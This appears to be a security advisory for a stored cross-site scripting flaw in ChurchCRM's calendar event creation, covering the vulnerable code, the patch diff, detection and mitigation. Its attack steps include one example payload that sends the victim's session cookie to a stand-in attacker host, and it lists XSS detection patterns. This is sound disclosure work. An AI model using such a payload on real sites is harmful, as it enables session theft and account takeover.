CVE-2026-24855: ChurchCRM Stored XSS Vulnerability

CVE-2026-24855 Overview

CVE-2026-24855 is a Stored Cross-Site Scripting (XSS) vulnerability in ChurchCRM, an open-source church management system. The vulnerability exists in the Create Events functionality within the Church Calendar module. Users with low privileges can inject malicious XSS payloads into the Description field when creating calendar events. Because this payload is stored in the database and rendered without proper sanitization, any user viewing the malicious event—including administrators—will have the script executed in their browser context. This can lead to session hijacking, credential theft, and full account takeover.

Critical Impact

Low-privileged users can inject persistent XSS payloads that execute in administrator browsers, enabling complete account takeover and administrative access compromise.

Affected Products

• ChurchCRM versions prior to 6.7.2
• ChurchCRM Church Calendar module (Create Events functionality)
• ChurchCRM installations with multi-user access

Discovery Timeline

• 2026-01-30 - CVE CVE-2026-24855 published to NVD
• 2026-02-04 - Last updated in NVD database

Technical Details for CVE-2026-24855

Vulnerability Analysis

This vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), commonly known as Cross-Site Scripting. The flaw exists in the calendar event creation API endpoint located at src/api/routes/calendar/events.php. When creating new calendar events, user-supplied input in the Title and Description fields was passed directly to the database without proper sanitization or encoding.

The stored nature of this XSS vulnerability makes it particularly dangerous because the malicious payload persists in the database and executes every time any user views the compromised calendar event. An attacker with basic user privileges could craft a calendar event containing JavaScript code in the Description field. When an administrator or other privileged user views the church calendar, the malicious script executes with their session context.

Root Cause

The root cause is missing input sanitization in the event creation API handler. The vulnerable code directly assigned user input to the event object properties without calling sanitization functions:

$event->setTitle($input['Title']);
$event->setDesc($input['Desc']);

The Title and Desc fields accepted raw user input that could contain HTML and JavaScript, which was then stored in the database and rendered unsanitized in the calendar view.

Attack Vector

The attack requires network access and valid low-privilege user credentials to the ChurchCRM instance. An attacker would:

1. Authenticate to ChurchCRM with any user account that has permission to create calendar events
2. Navigate to the Church Calendar and create a new event
3. Insert an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in the Description field
4. Save the event
5. Wait for an administrator or other target user to view the calendar

When the victim views the calendar, the stored payload executes, potentially exfiltrating session tokens, modifying page content, or performing actions as the victim user.

The security patch implemented proper input sanitization using InputUtils::sanitizeText() for the Title field and InputUtils::sanitizeHTML() for the Description field:

// Security patch in src/api/routes/calendar/events.php
// Fix GHSA-49qp-cfqx-c767: Stored XSS in Calendar Events Description

// we have event type and pined calendars.  now create the event.
$event = new Event();
-    $event->setTitle($input['Title']);
+    $event->setTitle(InputUtils::sanitizeText($input['Title']));
$event->setEventType($type);
-    $event->setDesc($input['Desc']);
+    $event->setDesc(InputUtils::sanitizeHTML($input['Desc']));
$event->setStart(str_replace('T', ' ', $input['Start']));
$event->setEnd(str_replace('T', ' ', $input['End']));
$event->setText(InputUtils::sanitizeHTML($input['Text']));

Source: GitHub Commit

Detection Methods for CVE-2026-24855

Indicators of Compromise

• Unusual JavaScript or HTML tags in calendar event descriptions or titles in the database
• Events containing <script>, <img onerror=, <svg onload=, or similar XSS payload patterns
• Unexpected outbound network requests from user browsers when viewing calendar pages
• Session token theft or unauthorized administrative actions following calendar access

Detection Strategies

• Implement Web Application Firewall (WAF) rules to detect common XSS patterns in HTTP POST requests to calendar event endpoints
• Monitor database tables storing calendar events for suspicious HTML or JavaScript content
• Enable Content Security Policy (CSP) headers to detect and block inline script execution
• Audit application logs for unusual event creation patterns from low-privileged accounts

Monitoring Recommendations

• Enable detailed logging for all calendar event creation and modification API calls
• Implement browser-based XSS detection using CSP violation reporting
• Review calendar event content periodically for signs of malicious payload injection
• Monitor for anomalous user session behavior that may indicate session hijacking

How to Mitigate CVE-2026-24855

Immediate Actions Required

• Upgrade ChurchCRM to version 6.7.2 or later immediately
• Review existing calendar events in the database for potential malicious content
• Audit user accounts that have created calendar events for suspicious activity
• Consider invalidating all active sessions and requiring re-authentication after the upgrade

Patch Information

ChurchCRM version 6.7.2 addresses this vulnerability by implementing proper input sanitization using InputUtils::sanitizeText() for plain text fields and InputUtils::sanitizeHTML() for fields that may contain formatted content. The fix ensures that user-supplied input is properly encoded before storage and rendering, preventing malicious scripts from executing.

For detailed patch information, refer to the GitHub Security Advisory GHSA-49qp-cfqx-c767.

Workarounds

• If immediate upgrade is not possible, restrict calendar event creation permissions to trusted administrators only
• Implement a Web Application Firewall (WAF) with XSS filtering rules as a temporary mitigation
• Add Content Security Policy headers to restrict inline script execution: Content-Security-Policy: script-src 'self'
• Manually review and sanitize existing calendar event content in the database

# Configuration example: Add CSP header in Apache
# Add to .htaccess or Apache config
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"

# For nginx, add to server block
# add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'";